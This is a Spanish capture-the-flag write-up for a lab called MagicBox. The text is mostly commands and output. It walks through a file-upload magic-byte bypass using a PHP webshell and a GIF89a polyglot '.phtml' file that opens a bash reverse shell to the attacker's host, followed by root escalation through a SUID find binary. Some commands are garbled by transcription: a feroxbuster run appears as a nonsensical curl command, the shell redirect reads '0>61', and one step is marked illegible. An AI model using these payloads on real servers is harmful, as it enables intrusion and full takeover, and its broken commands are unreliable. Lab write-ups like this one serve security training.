

Solución al lab **Magic Box** (nivel medio)

```
chifay@kali: ~/Whoami-Labs/MAGIC BOX
Session Actions Edit View Help

WUOAMI-LABS.COM

Bienvenido a WUOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde magicbox.tar...
[+] Imagen cargada exitosamente

[*] Iniciando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: MagicBox
DIFICULTAD: ***** medio (3 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la flag de User (formato user{...}):
```

Comencemos realizando un escaneo de puertos con nmap

```
chifay@kali: ~/Whoami-Labs/MAGIC BOX
Session Actions Edit View Help

chifay@kali: ~/Whoami-Labs/MAGIC BOX
(chifay@kali)~[~/Whoami-Labs/MAGIC BOX]
$ nmap -p- -sv -sC -sS -vvv -n -Pn --min-rate=5000 172.17.0.2 -oN nmap_magicbox
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 20:18 -0600

PORT      STATE SERVICE REASON          VERSION
80/tcp    open  http    syn-ack ttl 64  Apache httpd 2.4.67 ((Debian))
|_ http-server-header: Apache/2.4.67 (Debian)
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
|_ http-title: MagicBox | Enterprise Cloud Storage
MAC Address: 82:F1:DF:CF:2A:9E (Unknown)
```

Encontramos solamente el puerto 80 http (Apache httpd 2.4.67), antes de hacer una inspección visual hagamos una enumeración web para ver si hay directorios o archivos ocultos a nuestra vista

```
chifay@kali: ~/Whoami-Labs/MAGIC BOX
Session Actions Edit View Help

chifay@kali: ~/Whoami-Labs/MAGIC BOX
(chifay@kali)~[~/Whoami-Labs/MAGIC BOX]
$ curl -X GET -H 'User-Agent: feroxbuster/2.13.1' -H 'Config File: /etc/feroxbuster/ferox-config.toml' -H 'Extract Links: true' -H 'Output File: Web.txt' -H 'Extensions: [pdf, txt, env, php, zip, bak, py, js, sql, old, sh]' -H 'HTTP methods: [GET]' -H 'Recursion Depth: 4' http://172.17.0.2/
Press [ENTER] to use the Scan Management Menu™

404 GET 9l 32w 312c Auto-filtering found 404-like response and created new filter; toggle off with --dont
-filter
403 GET 9l 29w 315c Auto-filtering found 404-like response and created new filter; toggle off with --dont
-filter
200 GET 62l 334w 3458c http://172.17.0.2/index.php
200 GET 67l 274w 3615c http://172.17.0.2/dashboard.php
200 GET 225l 508w 4884c http://172.17.0.2/style.css
200 GET 62l 334w 3458c http://172.17.0.2/
302 GET 0l 0w 0c http://172.17.0.2/upload.php => dashboard.php
301 GET 9l 29w 350c http://172.17.0.2/uploads => http://172.17.0.2/uploads/
200 GET 1l 1w 30c http://172.17.0.2/user.txt
[#####] - 6s 55452/55452 0s found:7 errors:1
[#####] - 6s 55368/55368 9796/s http://172.17.0.2/
[#####] - 0s 55368/55368 27684000/s http://172.17.0.2/uploads/ => Directory listing (add --scan-dir-listing
s to scan)

(chifay@kali)~[~/Whoami-Labs/MAGIC BOX]
$
```

Podemos observar un archivo user.txt, posiblemente sea la bandera del usuario expuesta, y un formulario para subir archivos y un directorio uploads, veamos el contenido de user.txt

```
(chifay@kali) [~/Whoami-Labs/MAGIC BOX]
$ curl -s "http://172.17.0.2/user.txt"
user{W3lc0m3_T0_Th3_M4g1cB0x}

(chifay@kali) [~/Whoami-Labs/MAGIC BOX]
$
```

Se obtuvo la bandera de usuario, vamos a verificarla

[illegible]

Ahora pasemos al formulario de subida de archivos para ver si lo podemos explotar

A screenshot of a web browser displaying the MagicBox dashboard. The browser's address bar shows the URL 'http://172.17.0.2/dashboard.php'. The dashboard has a dark theme. At the top, there's a navigation bar with links to 'OffSec', 'Kali Linux', 'Kali Tools', 'Kali Docs', 'Kali Forums', 'Kali NetHunter', 'Exploit-DB', and 'Google Hacking DB'. Below this, the user's profile is shown with the name 'MagicBox' and the role 'Admin'. There are links for 'My Files', 'Shared with me', 'Starred', and 'Trash'. A horizontal line separates the profile section from the 'Profile Settings' section, which includes a 'Security' link. The 'Profile Settings' section has a heading 'Profile Settings' and a sub-heading 'Update your account avatar'. Below this, it says 'Current Avatar' and 'Select New Image' with a note 'No file chosen'. At the bottom of the settings section is a blue 'Save Changes' button. A system notice at the very bottom states: 'System Notice: To ensure platform safety, all uploaded files are strictly verified using our binary Magic Signature engine.'

```
Dashboard | MagicBox x http://172.17.0.2/dashboard.php
Not Secure view-source:http://172.17.0.2/dashboard.php
OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB
24 <a href="#">★ Starred</a>
25 <a href="#">🗑️ Trash</a>
26 <hr style="border-color: var(--border); margin: 20px 0;">
27 <a href="#" class="active">👤 Profile Settings</a>
28 <a href="#">🔒 Security</a>
29 </aside>
30 <main class="main-content">
31 <div class="profile-card">
32 <h2>Profile Settings</h2>
33 <p style="color: var(--text-muted); margin-bottom: 30px;">Update your account avatar</p>
34 <div class="avatar-preview">
35 
36 </div>
37 <div class="upload-box">
38 <form action="upload.php" method="POST" enctype="multipart/form-data">
39 <label class="custom-file-btn">
40 <input type="file" name="avatarFile" id="avatarFile" accept=".png,.jpg,.jpeg,.gif">
41 Select New Image
42 </label>
43 <span id="fileName" style="display: block; font-size: 0.85rem; color: var(--text-muted); margin-bottom: 20px;">No file chosen</span>
44 <button type="submit" class="btn-primary" style="width: 100%;">Save Changes</button>
45 </form>
46 </div>
47 <div style="background-color: rgba(59, 130, 246, 0.1); border: 1px solid rgba(59, 130, 246, 0.2); padding: 10px; border-radius: 8px; font-size: 0.8rem; color: #000000;">
48 <strong>🔔 System Notice:</strong> To ensure platform safety, all uploaded files are strictly verified using our binary Magic Signature engine.
49 </div>
50 </main>
51 </div>
52 <script>
53 document.getElementById('avatarFile').addEventListener('change', function(e) {
54 var fileName = e.target.files[0].name;
55 if (!fileName.match(/\.(jpg|jpeg|png|gif)$/i)) {
56 alert('Frontend Security: Only image files (.jpg, .png, .gif) are allowed.');
```

En el código fuente podemos ver el nombre del campo en el formulario es avatarFile y está limitado a jpg, png y gif, de nuestra experiencia en el lab GALLERY vamos a usar un webshell en php pero con la extensión jpg con encabezado jpg y ajustaremos el código para subirlo

Creación de archivo

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ echo -e "\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00" > shell.jpg
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
```

Subida

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ curl -X POST -F "avatarFile=@shell.jpg" http://172.17.0.2/upload.php -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 172.17.0.2:80...
* Established connection to 172.17.0.2 (172.17.0.2 port 80) from 172.17.0.1 port 57074
* using HTTP/1.x
> POST /upload.php HTTP/1.1
> Host: 172.17.0.2
> User-Agent: curl/8.20.0
> Accept: */*
> Content-Length: 257
> Content-Type: multipart/form-data; boundary=-----nEdFkQOXWfbLX3xo2GDwYP
>
* upload completely sent off: 257 bytes
< HTTP/1.1 302 Found
< Date: Wed, 05 Aug 2026 02:56:34 GMT
< Server: Apache/2.4.67 (Debian)
< Location: dashboard.php?success=uploads%2Fshell.jpg
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 172.17.0.2:80 left intact
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$
```

Prueba del código

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ curl -s "http://172.17.0.2/uploads/shell.jpg?cmd=id"
```

No obtuvimos resultado

Vamos a crear un polyglot

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ echo -n "GIF89a;" > shell.gif.phtml
cat >> shell.gif.phtml << 'EOF'
<?php system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>61'"); ?>
EOF
```

Subida del archivo polyglot

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ curl -X POST -F "avatarFile=@shell.gif.phtml" http://172.17.0.2/upload.php -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 172.17.0.2:80 ...
* Established connection to 172.17.0.2 (172.17.0.2 port 80) from 172.17.0.1 port 52760
* using HTTP/1.x
> POST /upload.php HTTP/1.1
> Host: 172.17.0.2
> User-Agent: curl/8.20.0
> Accept: */*
> Content-Length: 303
> Content-Type: multipart/form-data; boundary=-----9hg3XgRc3yXNUB2LVtUHcn
>
* upload completely sent off: 303 bytes
< HTTP/1.1 302 Found
< Date: Wed, 05 Aug 2026 04:11:15 GMT
< Server: Apache/2.4.67 (Debian)
< Location: dashboard.php?success=uploads%2Fshell.gif.phtml
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 172.17.0.2:80 left intact
```

Ponemos una terminal a escuchar con nc

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ nc -lvp 4444
listening on [any] 4444 ...
```

Ejecutamos la reverse shell

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ curl -s "http://172.17.0.2/uploads/shell.gif.phtml"
```

Y regresamos a la terminal que dejamos escuchando

```
(chifay@kali)-[~/Whoami-Labs/MAGIC BOX]
$ nc -lvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 40186
www-data@magicbox:/var/www/html/uploads$
```

Ya tenemos conexión como www-data, veamos que permisos tenemos

```
www-data@magicbox:/var/www/html/uploads$ whoami
whoami
www-data
www-data@magicbox:/var/www/html/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@magicbox:/var/www/html/uploads$ sudo -l
sudo -l
bash: sudo: command not found
```

Búsqueda de binarios SUID

```
www-data@magicbox:/var/www/html/uploads$ find / -perm -4000 -type f -ls 2>/dev/null
find / -perm -4000 -type f -ls 2>/dev/null
426343    64 -rwsr-xr-x  1 root   root      62672 Dec 14  2025 /usr/bin/chfn
426484    68 -rwsr-xr-x  1 root   root      68248 Dec 14  2025 /usr/bin/passwd
426536    72 -rwsr-xr-x  1 root   root      72000 Nov 21  2024 /usr/bin/su
426410    88 -rwsr-xr-x  1 root   root      88496 Dec 14  2025 /usr/bin/gpasswd
426560    36 -rwsr-xr-x  1 root   root      35128 Nov 21  2024 /usr/bin/umount
426468    60 -rwsr-xr-x  1 root   root      59704 Nov 21  2024 /usr/bin/mount
426349    52 -rwsr-xr-x  1 root   root      52880 Dec 14  2025 /usr/bin/chsh
426402   220 -rwsr-xr-x  1 root   root     224848 Jan  8  2023 /usr/bin/find
426473    48 -rwsr-xr-x  1 root   root      48896 Dec 14  2025 /usr/bin/newgrp
www-data@magicbox:/var/www/html/uploads$
```

Podemos explotar el binario find con SUID para ejecutar una shell como root

```
www-data@magicbox:/var/www/html/uploads$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
whoami
root
find / -name root.txt 2>/dev/null
/root/root.txt
cat /root/root.txt
root{XXXXXXXXXXXXXXXXXX}
```

Hemos obtenido el valor de la bandera de root, solo nos queda verificarla

```
chifay@kali: ~/Whoami-Labs/MAGIC BOX
Session Actions Edit View Help
chifay@kali: ~/Whoami-Labs/MAGIC BOX chifay@kali: ~/Whoami-Labs/MAGIC BOX chifay@kali: ~/Whoami-Labs/MAGIC BOX

[*] Iniciando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: MagicBox
DIFICULTAD: ***** medio (3 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la flag de User (formato user{...}): user{XXXXXXXXXXXXXXXXXX}
[+] Flag de usuario correcta. ¡Buen trabajo!

Ingresa la flag de Root (formato root{...}): root{XXXXXXXXXXXXXXXXXX}
¡Felicitaciones! Has comprometido MagicBox a nivel Medio.

TIEMPO TOTAL: 02h 08m 40s
FECHA Y HORA: 2026-08-04 22:24:12 -0600

[*] Presiona Ctrl+C para eliminar el laboratorio
```